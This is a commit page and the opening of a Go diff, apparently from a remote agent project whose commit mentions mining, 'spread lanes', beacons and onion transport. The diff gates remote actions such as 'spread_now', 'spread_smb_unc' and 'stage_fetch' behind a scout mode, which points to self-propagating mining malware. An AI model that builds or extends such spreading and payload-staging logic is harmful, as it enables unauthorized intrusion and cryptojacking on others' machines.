Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -11,6 +11,17 @@ import (
)
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
c.mu.Lock()
scout := c.cfg.ScoutMode
c.mu.Unlock()
if scout {
switch action {
case "service_discover", "discover_and_join":
return true, ""
case "stage_fetch", "spread_now", "spread_smb_unc":
return false, "roving scout mode never stages spread payloads"
}
}
switch action {
case "hole_punch", "hole_punch_close", "hole_punch_status":
if !c.cfg.HolePunch {